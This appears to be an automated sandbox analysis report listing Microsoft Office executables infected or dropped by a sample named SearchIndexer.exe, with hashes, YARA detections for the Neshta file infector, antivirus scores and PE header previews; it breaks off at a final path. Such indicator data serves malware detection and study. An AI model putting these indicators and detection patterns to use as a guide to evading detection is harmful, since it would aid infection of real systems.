                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):94600
                                                                  Entropy (8bit):6.442216424962596
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCgELjOzHKd1XI/etzCJQx0cxnIO/IOmOe:sr85CgE/OTKXI/etG8ICILJ
                                                                  MD5:3F61817FF96973951F7964C30D7B3E0C
                                                                  SHA1:206328C89E5552AAFF1C232D4285EF70BB305CED
                                                                  SHA-256:0F2597EFBF9783DB37DE336D0F7C2F2906E09173873EA105C79EAE1B56E8F95D
                                                                  SHA-512:C2394D49EF23ABCC1C96DDF60111D2272920698D962F769B3CBB7D77493438201E5B1FB7B196ECE9B709A7DC2E03B26FBCB74699CDE4B1B6AA56C869F287A47B
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):101496
                                                                  Entropy (8bit):6.2502810194516245
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC2vpz3ktxGvpzvy5ZWGalHFmMTK0KRTS8bOzc:sr85CwToATzvmN0KRm8bOzc
                                                                  MD5:FA4CEDA48FE9CEA7B37D06498BFCAD93
                                                                  SHA1:C85C170D39C0BEEA2203B0BEA30C19AABD4E960D
                                                                  SHA-256:BFD637624C2C9B5ACDC470E589795C7720710782B618830E70D4C08F2498D64F
                                                                  SHA-512:B95C63A1DDA19FFD988DA77C38E04BAF600C61C32FD231981B6577B351A5D8DACAD0A6923ECBB05692BE06BCCFC365A7AC3AEFC957E25D56C7A5B81CBEA4E208
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):455760
                                                                  Entropy (8bit):5.934487072040942
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9fwACThwS0vn9IdRsLGEJTdPA6lDfZNAGVx:KwACThwSSn2dRANtlF3j
                                                                  MD5:EE7FE56AA5473C4CAAF6542F9C89E3B5
                                                                  SHA1:F94831FB534FA38C6142CE1A73883A5F181D47CE
                                                                  SHA-256:AA77B4D2A82911CFCC76EEB2184FD513F8E8DABB39B90019E7F051172CA128E2
                                                                  SHA-512:EE7A769F162F3E4A55A8653F51D601DBEA53533EDBE6F52A96077234E6367FA835EDC9F2DF76F56715EFAEA618D4A77C64F7875725BEF5AC9F5D0E1F799DFC37
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):225704
                                                                  Entropy (8bit):6.251097918893843
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CHLqB8edYkIrv6TXRw9xwqazULDjkAJZo0RAjUIqXfkRC:k9rjilq8OPwRzso6AQ5yC
                                                                  MD5:D2E8B30C6DEBFCF6CF8EA10E95D2B52B
                                                                  SHA1:E907D9A5B3AC316E5DCB4143A8B9466A548CD247
                                                                  SHA-256:2EB9FDCC1BCD91C9734390A0F9543B6DEA8A934F71D14D304D0DFEBD9ABE1608
                                                                  SHA-512:811C739AEED909E5F977E3C69FBBB6DD57FD9A0C5D644129C41D298279C369F9CF8482230DCF7762AC6B38958CC78255B1B2A9261ED0C897E9CF85244F056A67
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):84928
                                                                  Entropy (8bit):6.496286535630211
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC367wZClMML07MiapFmPRHyzMwzobtM+zf:sr85C367wZClMMQ7MiawHyzMwsL
                                                                  MD5:577ECDB909EA638F824698FC9662A65A
                                                                  SHA1:EF5B3EF16FD6E4FCE04774B001C229B091B64242
                                                                  SHA-256:917362177EC459D22BC88ABB9EA65E385B50A664A9D314AEBDE4AEE3D4ADDD69
                                                                  SHA-512:2D30E0328E250B90731269650174145A7E0993B76D43A90BAF93E05DDE59B7930199755648C90BE80BB11AD7ECE5555C1F54991E1146A62D1985958E6533A854
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):83816
                                                                  Entropy (8bit):6.5486905453129385
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJC00s7wZClMML072apFmPcnGzLHyxz5pOEtmwxz5E:sr85C0t7wZClMMQ72ahnGzextQyxtE
                                                                  MD5:0A60BCB1B4624AEFC401299CF4AC158E
                                                                  SHA1:B213E9E2C230E850B70EEE7670A9961DE0DD3B92
                                                                  SHA-256:377C6042F55C5245E950DF6C58C8E541F34C68B32BB0EACB04EBDBD4D4890ADB
                                                                  SHA-512:B6F2C7F1CF562988BC0B4F45D3E36062C08A640F0CC99A3CE05DA121CB107716193FBE3B9B6012B77712FC8832D3EE19B9889018815F414C1FF0DB1EE5EFA898
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):233832
                                                                  Entropy (8bit):6.444055281477179
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CUW32GhNvMQ/58sl2U2Gszlz4SNBZCgMWku:k9t2GhN0lsdspzPgg1
                                                                  MD5:C541C4556C5B21907107E916D65C5212
                                                                  SHA1:E70DE78F3C4FD8A9364FD54A8283523572F07F60
                                                                  SHA-256:99669ABB3F0C6A61BD44D379FFBC5712D2AB44E63D1071E1B699E46DAF279358
                                                                  SHA-512:73761E8DBB28A0A83BA33236CC43609CB11B64716A3CC0EE1394D1C05ED9BD71791566666EBE8B159D13FE3A1B90FB473B865AADAFA69DD3E4513824F1959793
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):502632
                                                                  Entropy (8bit):6.71908645689974
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k90WDxGH79J2VX5gEpvm7JA8I6BHAlSpFG/+Ls3ze30xB7zq2zs:kMxCvm7JK6JAB/6N30xpI
                                                                  MD5:266F86A29B1E6B8B760527C50DA9D660
                                                                  SHA1:2C054027DC591063B47873D42D973B38B3BDE3F2
                                                                  SHA-256:F30F2704E1BD0F7B173E9DE79D3BA9FA3CB1B494C8BF20FB4768B5D5EE6317CA
                                                                  SHA-512:1672AEA98C6142E995BD018CCC8FC7836A05E6A5062C7B615D7C5D04E3E80EC4AC37DAF999296C2F095C4FD2A8FB38766DE09BACDB574266DF0257E697522D78
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):352704
                                                                  Entropy (8bit):6.38536686774314
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9+EshacHeGXduZtZ9zHVcI3uv7FgR3FTzWQ/ZZyp1:ysHHrtuZtPvh3FuQ/jyp1
                                                                  MD5:51D8F20B8D5103A7A909B107B6A3B7E4
                                                                  SHA1:FB4B5534EB81A82E70652870FC68DCB8EF8C9A6E
                                                                  SHA-256:BBC6913BAC290E98B15A7F65E9CDAC0607BCE18A32CD3DCD1D7EAD307F0B51E5
                                                                  SHA-512:77A398F43351031F2B6EAACE03F787E49DE72A1C937A24A2847BACFBA8A1FE76B2B031524530E5E5B2648B6B0FA87B53104A92B1A216963F2D233E0D74D03D16
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4395184
                                                                  Entropy (8bit):5.937082520516123
                                                                  Encrypted:false
                                                                  SSDEEP:98304:mXuo5RMru45b5dZlAj0sqW7YDKMzVwgBWMTwLe7G:oR345NRAgsr7QH6h93
                                                                  MD5:F57075B760A0D881010E15505F0C483C
                                                                  SHA1:0ABC231159F339F651595E385EC7B466E259470C
                                                                  SHA-256:3D0EEB0CB3BFBCCB167AE0D1AD90B8EFE17C9B88D491AD5D14A0EFAB223D6E21
                                                                  SHA-512:64D97EF9B435579D883DD5C08967737D868C6A6B6347E37E248C5DDFB47FA726B712DCABC179EA62E0A936692355766FC06BB4C1DA3087B81092942940068161
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):603928
                                                                  Entropy (8bit):6.530305704021743
                                                                  Encrypted:false
                                                                  SSDEEP:12288:bzKRgqBDxoiPCLXHLuk/Wg4Reh2mbeF+IGboJdx:/KgMxoiPoXruPi/++IvJdx
                                                                  MD5:8F1CAC64758ABE414CC4B882EE8519B8
                                                                  SHA1:7018BE9C3FCF4FB4F8138869F9CD40AAB0C9B1A4
                                                                  SHA-256:110E1BBB7A4F7A42D2099D8A76F068DDE01D63C28D841AAF06D3EA872F261716
                                                                  SHA-512:19F81CA57D67C8D8B784817E88C10E7768906F019950914B391DF69C2C537380296D1D4B92F7070ED25582E9EB7C015E797D3131D77A70CCFF690CDD39CFE4EC
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):507024
                                                                  Entropy (8bit):6.145143458075982
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k95yrmBq0RYSv3A5DhW15yChMFt2XTNJWLgCWzzYhPRt+:NrmBjYuALWJMn2XTmL7hPH+
                                                                  MD5:F6C667D2590E5294F3272D9576BC3051
                                                                  SHA1:13D893A1521C8BA8D1FCBE11EE0FD16F2E0194F9
                                                                  SHA-256:03966A5548958182569400B6098219CDDB1EC6C5BCCFB5391A36F66E9F517FC6
                                                                  SHA-512:E2FE50A7EE86D8B05CCE91C9F0CA07A24C41631A317F38AB380C996475BD8B9CB05BD7B9D49968AE87442399EE7312C69169447B3D527B539F0C8C1920D986CD
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):251560
                                                                  Entropy (8bit):6.621260401843092
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9BomAAOwPcPIqk4Vsvt0uews+qZP9zOPBxGiryKI:4sAETlVsKzZPixGBKI
                                                                  MD5:3DF5147DBAC00F92DDEE6D22533EB194
                                                                  SHA1:F7ABB04F99361465F9FA9193E1ED06B49381C688
                                                                  SHA-256:A5BD7911E7F7FC76E27F5BFBF2B4AAAAD9FFE0FD304B65D87783409629EE8B25
                                                                  SHA-512:84ADC24DBDCBE9EB9A5BD77BBC0F1BC1E59E4C32496F4A435D85ADD042F7FEFFB0FD21D459D62F0BCFF7655CB3262F7BAA491F6947B5F4ADCC650A5B10FCE3E8
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):751720
                                                                  Entropy (8bit):6.631735781680161
                                                                  Encrypted:false
                                                                  SSDEEP:12288:DdI8PdgELg6eaBlnjlZcTerWv+xdeFhvCs9TukINOW:Da8PWELTBlZ+erw+xdeFUsUkEh
                                                                  MD5:8A6DCA4D7B31FB7626B5FB7430241040
                                                                  SHA1:258B527B5F6B30411C8727107B29AB9300163817
                                                                  SHA-256:6DFF05FB541A8D3B7847AB3197422E582AA021963A9C4BF63C44100180CF22F5
                                                                  SHA-512:2A9714FE31814C0ABE13F59ED77A8EACD0CAF2BF9566FE9B9B0240A942EE5BF5425A5E523F2C51DDBE8BA977675753074901C211A42D899F7AF9F47890280693
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):161968
                                                                  Entropy (8bit):6.528134300921485
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C9NDS5lS1jITI1FeBT77NDS5lS3j+Wzy6oUSA7hZ:k99NDS5lSxFeBTfNDS5lS7zUrsZ
                                                                  MD5:9A962710D6C3F23726E18BFDCF7D5BEE
                                                                  SHA1:01AE9DB82D4B7E365E30B4A2A930B74FB8C0C5DC
                                                                  SHA-256:17D163C4C9AA325EA07FB5E5EFCFC3A308D30D71C7A19BF663350F978EB6418C
                                                                  SHA-512:0D51336AF8246C7B6EC30F506206198A7873106E07995A69A51D059FA5F83BC0BE6E6744A0D0306DBAA811DF623239FB472880E7C87AE83CC9BFCE70E7C2960B
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):159560
                                                                  Entropy (8bit):6.577583568198119
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CIklWPsom9TiWWWWWWWQM+FtWAzhIwaeENinkf8xw3xUFv2tGPrtPmF:k9ab5zPaNQnBxw34Oita
                                                                  MD5:04CD44B46689C390B61090CC9AF0DFC5
                                                                  SHA1:DC21D958A5D799B45AC721528216E981AD9FE73E
                                                                  SHA-256:19E2D4135729DEEB6086A7B6E50CC9CC238DC19F199BE40CFF80A7280A9D7A8C
                                                                  SHA-512:7D91066D2D02853B9C71C1D691D1315E0CBDC1111AEA83A4A45CB40AAB26A53311386579BA93AF557C9074D4D69E0D265B13C41A384C23BC254911591C0C8B5E
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE

